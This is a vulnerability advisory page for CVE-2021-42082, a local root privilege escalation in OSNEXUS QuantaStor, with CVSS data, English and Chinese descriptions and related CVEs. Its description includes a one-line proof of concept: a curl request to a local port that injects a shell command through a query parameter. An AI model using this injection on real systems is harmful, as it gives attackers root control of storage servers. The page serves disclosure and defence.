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CVE-2021-42082— Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355

Quick assessment

Affected
OSNEXUS QuantaStor
Exploitation
No confirmed in-the-wild exploitation; assess based on exposure
Recommended action
Check the vendor advisory and references for a fixed version. If immediate upgrade is impossible, restrict exposure and increase monitoring.

OSNEXUS QuantaStor是美国OSNEXUS公司的一个统一的软件定义存储平台。 OSNEXUS QuantaStor 5.12.9之前版本存在安全漏洞，该漏洞源于本地用户可以在root权限下执行脚本。

CVSS 7.8 · High EPSS 0.18% · P8
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I. Basic Information for CVE-2021-42082

Vulnerability Information
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Vulnerability Title
Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355
Source: CVE Program / CVE List V5
Vulnerability Description
Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
Source: CVE Program / CVE List V5
CVSS Information
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Source: CVE Program / CVE List V5
Vulnerability Type
特权管理不恰当
Source: CVE Program / CVE List V5
Vulnerability Title
OSNEXUS QuantaStor 安全漏洞
Source: CNNVD (China National Vulnerability Database)
Vulnerability Description
OSNEXUS QuantaStor是美国OSNEXUS公司的一个统一的软件定义存储平台。 OSNEXUS QuantaStor 5.12.9之前版本存在安全漏洞，该漏洞源于本地用户可以在root权限下执行脚本。
Source: CNNVD (China National Vulnerability Database)
CVSS Information
N/A
Source: CNNVD (China National Vulnerability Database)
Vulnerability Type
N/A
Source: CNNVD (China National Vulnerability Database)

Affected Products

Vendor Product Affected Versions CPE Subscribe
OSNEXUS QuantaStor 0 ~ 6.0.0.355 -

II. Public POCs for CVE-2021-42082

# POC Description Source Link Shenlong Link
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III. Intelligence Information for CVE-2021-42082

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Other References for CVE-2021-42082 (5)

Same Patch Batch · OSNEXUS · 2023-07-10 · 6 CVEs total

CVE-2021-4406 9.1 CRITICAL Authenticated Remote COmmand Execution as root in OSNEXUS QuantaStor version 6.0.0.355 and
CVE-2021-42081 9.1 CRITICAL Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.35
CVE-2021-42083 8.7 HIGH Authenticated Stored XSS in OSNEXUS QuantaStor 6.0.0.335
CVE-2021-42080 7.4 HIGH Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355
CVE-2021-42079 6.2 MEDIUM SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355

IV. Related Vulnerabilities

Same product: QuantaStor
Same vendor: OSNEXUS
Same weakness: CWE-269

V. Comments for CVE-2021-42082

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